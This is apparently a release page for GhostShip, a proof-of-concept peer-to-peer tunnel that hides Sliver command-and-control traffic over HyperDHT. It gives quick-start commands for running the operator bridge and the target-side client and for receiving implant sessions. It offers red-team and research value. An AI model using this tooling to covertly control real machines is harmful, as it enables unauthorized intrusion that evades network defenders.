GhostShip v1.0.0

GhostShip v1.0.0

P2P tunnel for C2 traffic using HyperDHT. This is a Proof of Concept.

Downloads

File	Platform	Description
bridge-linux.tar.gz	Linux x64	Operator-side bridge
bridge-windows.zip	Windows x64	Operator-side bridge
client-linux.tar.gz	Linux x64	Target-side client
client-windows.zip	Windows x64	Target-side client

Quick Start

1. Operator Side (with Sliver C2):

# Terminal 1: Start Sliver
sliver-server
sliver > mtls --lport 8888

# Terminal 2: Start GhostShip bridge
tar -xzf bridge-linux.tar.gz
./ghostship-bridge --port 8888
# Note the connection key: hs://abc123...

2. Target Side:

# Start GhostShip client
tar -xzf client-linux.tar.gz
./ghostship-client --connect "hs://abc123..." --port 8888

# Generate and run your Sliver implant configured to connect to 127.0.0.1:8888

3. Receive Session:

sliver > sessions

How It Works

[Target]                          [Operator]
Sliver Implant                    Sliver Server
     |                                 |
     v                                 v
127.0.0.1:8888                   127.0.0.1:8888
     |                                 |
     v                                 v
GhostShip Client  <--P2P/DHT-->  GhostShip Bridge

Disclaimer

This is a Proof of Concept for educational and authorized security research only.